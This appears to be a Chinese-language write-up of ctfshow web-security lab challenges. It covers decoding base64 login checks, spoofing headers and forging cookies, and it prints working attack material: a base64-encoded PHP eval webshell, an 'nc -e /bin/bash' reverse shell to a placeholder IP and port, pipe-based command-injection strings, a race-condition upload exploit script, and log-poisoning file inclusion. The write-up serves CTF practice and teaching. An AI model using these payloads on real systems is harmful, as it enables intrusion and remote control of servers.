ctfshowWeb应用安全与防护

第一章

Base64编码隐藏

一个登录口

在源码中找到js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();

const correctPassword = "Q1RGe2Vhc3lfYmFzZTY0fQ==";
const enteredPassword = document.getElementById('password').value;
const messageElement = document.getElementById('message');

if (btoa(enteredPassword) === correctPassword) {
messageElement.textContent = "Login successful! Flag: "+enteredPassword;
messageElement.className = "message success";
} else {
messageElement.textContent = "Login failed! Incorrect password.";
messageElement.className = "message error";
}
});
</script>

btoa() 是 JavaScript 内置函数,用来把字符串编码成 Base64。所以这里的逻辑是需要等于correctPassword,解码一下然后传进去就行了

HTTP头注入

还是看前端登录逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
const correctPassword = "Q1RGe2Vhc3lfYmFzZTY0fQ==";
const enteredPassword = document.getElementById('password').value;
const messageElement = document.getElementById('message');

if (btoa(enteredPassword) !== correctPassword) {
e.preventDefault();
messageElement.textContent = "Login failed! Incorrect password.";
messageElement.className = "message error";
}
});
</script>

显示

1
2
Invalid User-Agent
You must use "ctf-show-brower" browser to access this page

伪造UA头就行了

Base64多层嵌套解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";

function validatePassword(input) {
let encoded = btoa(input);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded) === correctPassword;
}

const enteredPassword = document.getElementById('password').value;
const messageElement = document.getElementById('message');

if (!validatePassword(enteredPassword)) {
e.preventDefault();
messageElement.textContent = "Login failed! Incorrect password.";
messageElement.className = "message error";
}
});
</script>

根据validatePassword逆推原始密码就行了,先梳理一下加密逻辑

  1. base64编码
  2. 加上xH7jK并base64编码后把前 3 个字符去掉
  3. 把字符串拆成字符数组后进行反转并还原为字符串,最后base64加密
  4. 头加上aB3,尾加上qW9再进行一次base64编码并丢掉前两个字符
  5. 最后返回比较结果

最后写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import base64
from itertools import product

B64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="

def b64e(s: str) -> str:
return base64.b64encode(s.encode()).decode()

def b64d_to_str(s: str) -> str:
"""稳健的 Base64 解码到 str(自动补 '=')"""
for pad in range(3):
try:
return base64.b64decode(s + "=" * pad).decode()
except Exception:
continue
return base64.b64decode(s + "==").decode()

def forward_js_like(pw: str) -> str:
"""按题面 JS 的 validatePassword 逻辑正向编码,用来校验"""
encoded = b64e(pw)
encoded = b64e(encoded + 'xH7jK')[3:]
encoded = b64e(encoded[::-1])
encoded = b64e('aB3' + encoded + 'qW9')[2:]
return b64e(encoded)

def validatePassword():
s1_base64 = base64.b64decode(correctPassword.encode()).decode() #最后的base64编码比较操作
s2 = None

for x, y in product(B64, repeat=2): #暴力遍历两个字符拼接
target = x + y + s1_base64
try:
decrypted = base64.b64decode(target, validate = True).decode()
except Exception:
continue
if decrypted.startswith("aB3") and decrypted.endswith("qW9"):
s2 = decrypted[3:-3]
break
assert s2 is not None, "无法恢复 s2"
s1_base64 = b64d_to_str(s2)[::-1] #base64解码然后反转操作

candidates = []
for a, b, c in product(B64, repeat=3):
t1_full = a + b + c + s1_base64
try:
dec = base64.b64decode(t1_full, validate=True).decode()
except Exception:
continue
if not dec.endswith('xH7jK'):
continue
s0 = dec[:-5]

for pad in range(3):
try:
raw = base64.b64decode(s0 + "=" * pad)
except Exception:
continue
txt = None
try:
txt = raw.decode('ascii')
except Exception:
continue
if len(txt) == 0:
continue

if txt.isdigit():
rank = 0
elif txt.isalnum():
rank = 1
elif all(32 <= ord(ch) < 127 for ch in txt):
rank = 2
else:
continue

candidates.append((rank, len(txt), txt))
break

assert candidates, "未找到可读的口令候选"
candidates.sort()
best = candidates[0][2]

assert forward_js_like(best) == correctPassword, "校验失败:请检查实现"
return best

if __name__ == '__main__':
pw = validatePassword()
print("[+] 找到可用口令:", pw)

最后输出017316为正确密码,伪造一下UA头就行了

当然也可以用官方的脚本去进行暴力破解,因为我一开始不知道password的内容类型和长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 在控制台直接运行以下代码
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";

function encrypt(password) {
let encoded = btoa(password);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded);
}

function bruteForce6Digit() {
console.time('Brute Force Time');

// 生成6位数字的优化方法(000000-999999)
for (let num = 0; num <= 999999; num++) {
// 补零到6位
const candidate = num.toString();

// 加密并比对
if (encrypt(candidate) === correctPassword) {
console.timeEnd('Brute Force Time');
return candidate;
}

// 每10万次输出进度
if (num % 100000 === 0) {
console.log(`Progress: ${num/100000}0%`);
}
}

console.timeEnd('Brute Force Time');
return "Not found";
}

// 执行破解
console.log("Result:", bruteForce6Digit());

HTTPS中间人攻击

丢wireshark分析一下

image-20251013175417047

可以看到这里的TLS,需要使用 TLS 密钥去进行解密

1
2
Wireshark → Edit → Preferences → Protocols → TLS
→ (Pre)-Master-Secret log filename

导入附件中的ssl密钥就可以看到原始报文了

image-20251013175912442

Cookie伪造

通过弱口令 guest/guest登陆,发现是游客账号,但是在cookie中发现role的值为guest,尝试改为admin就可以伪造身份拿到flag了

第二章

一句话木马变形

仅允许字母、数字、下划线、括号和分号。

首先是phpinfo看一下版本吗,发现是php7.3

利用php7.3版本对常量和字符串的兼容性,来绕高对单双引号的限制

用base64去加密我们的木马

1
eval(base64_decode(c3lzdGVtKCJ3aG9hbWkiKTs));

这里不能有等于号,所以可以在加密内容前后添加空格去解决

image-20251013181034556

反弹shell构造

可以反弹shell也可以重定向命令执行结果到文件

1
cat flag.php > 1.txt
1
nc -e /bin/bash [ip] [port]

管道符绕过过滤

发现前面有一个ls,用||管道符去绕过就行,这里的话需要让前面的命令失效才能执行后面的命令

1
2
111 || whoami
//www-data

或者可以用管道符去将ls的执行结果作为下一个命令的输入,直接给poc

1
ls|grep flag|xargs tac

ls拿到结果后在结果里面grep查找flag并输出

无字母数字代码执行

无数字字母的代码执行,这个很常规,但是需要注意hackbar的问题,在bp里发包就可以了

无字母数字命令执行

直接放包的脚本吧,也是很简单的做一个条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import concurrent.futures


url = "http://cb41ef8b-97e0-40e7-828a-349cc3ce3118.challenge.ctf.show/"

file_content = b"#!/bin/sh\ntac flag.php"

data = {
'code': '. /???/????????[@-[]',
}

def upload_file():
files = {
'file': ('test.txt', file_content, 'text/plain')
}
try:
response = requests.post(url, files=files, timeout=5)
print(f"上传请求返回状态码: {response.status_code}")
return response
except requests.exceptions.RequestException as e:
print(f"上传请求失败: {e}")
return None

def send_post():
try:
response = requests.post(url, data=data, timeout=5)
print(f"POST 请求返回状态码: {response.status_code}")
return response
except requests.exceptions.RequestException as e:
print(f"POST 请求失败: {e}")
return None


def race_condition():
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(upload_file) for _ in range(25)]
futures.extend([executor.submit(send_post) for _ in range(25)])

for future in concurrent.futures.as_completed(futures):
result = future.result()
if result and "flag" in result.text:
print("\n--- 成功!可能找到 Flag ---")
print(result.text)
return True

return False

print("正在尝试利用条件竞争,请稍候...")
success = False
for i in range(50):
if race_condition():
success = True
break
print(f"第 {i + 1} 轮尝试失败,继续...")

if not success:
print("\n--- 所有尝试均失败 ---")

第三章

日志文件包含

是nginx中间件,日志文件路径为/var/log/nginx/access.log,那就尝试在请求头写马,然后去进行包含